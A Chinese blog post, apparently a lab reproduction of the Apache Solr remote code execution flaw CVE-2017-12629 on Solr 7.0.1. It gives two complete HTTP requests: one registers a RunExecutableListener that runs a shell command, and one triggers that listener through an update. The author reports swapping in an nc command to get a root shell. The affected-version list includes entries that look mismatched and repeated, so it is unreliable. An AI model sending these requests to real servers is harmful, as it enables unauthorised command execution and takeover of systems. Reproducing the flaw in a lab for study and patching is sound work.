(CVE-2017-12629)Apache Solr远程代码执行复现

漏洞介绍

Apache Solr
Apache Solr是一个来自Apache Lucene(Lucene是一个开源的搜索引擎软件库),使用Java语言编写的开源的企业搜索平台,其主要功能包括全文搜索,实时索引,动态集群等功能。原理大致是文档通过HTTP利用XML加到一个搜索集合中,查询该集合也是通过HTTP收到一个XML/JSON响应来实现,在7.1.0及之前版本存在远程命令执行漏洞(RCE)。
Apache ZooKeeper
Apache ZooKeeper是一个Apache基金会的一个软件项目,用于提供分层的键值存储的分布式系统,主要用于为大型分布式系统提供分布式配置服务,同步服务和命名注册表。

影响版本

Apache Solr before 7.1和它之前的版本,包括:
RedhatSingle Sign-On 7.0
Redhat Linux 6.2 E sparc
Redhat Linux 6.2 E i386
Redhat Linux 6.2 E alpha
Redhat Linux 6.2 sparc
Redhat Linux 6.2 i386
Redhat Linux 6.2 alpha
Redhat JBoss Portal Platform 6
Redhat JBoss EAP 7 0
Redhat Jboss EAP 6
Redhat JBoss Data Grid 7.0.0
Redhat Enterprise Linux 6
Trustix Secure Enterprise Linux 2.0
Trustix Secure Linux 2.2
Trustix Secure Linux 2.1
Trustix Secure Linux 2.0
Redhat Collections for Red Hat EnterpriseLinux 0
Apache Solr 6.6.1
Apache Solr 6.6
Apache Solr 6.5.1
Apache Solr 6.5
Apache Solr 6.4
Apache Solr 6.3
Apache Solr 6.2
Apache Solr 6.6
Apache Solr 6.3
Apache Solr 6.0
ApacheLucene 0

环境设置

Apache Solr 7.0.1
ZooKeeper 3.4.6

在漏洞利用之前需要创建一个集合,从8983端口进入solr界面
在这里插入图片描述
点击Core Admin界面创建一个集合
在这里插入图片描述
点击Add Core创建即可
在这里插入图片描述

漏洞利用

监听器执行PoC

POST /solr/new_core/config HTTP/1.1
Host: IP
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

更新配置PoC

POST /solr/new_core/update HTTP/1.1
Host: IP
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

这2个PoC需要配合着用,首先是监听器执行处注入命令
在这里插入图片描述
我这里直接用的nc命令,然后再用更新配置的PoC来更新监听器

在这里插入图片描述
用nc来连,能够获得root权限
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值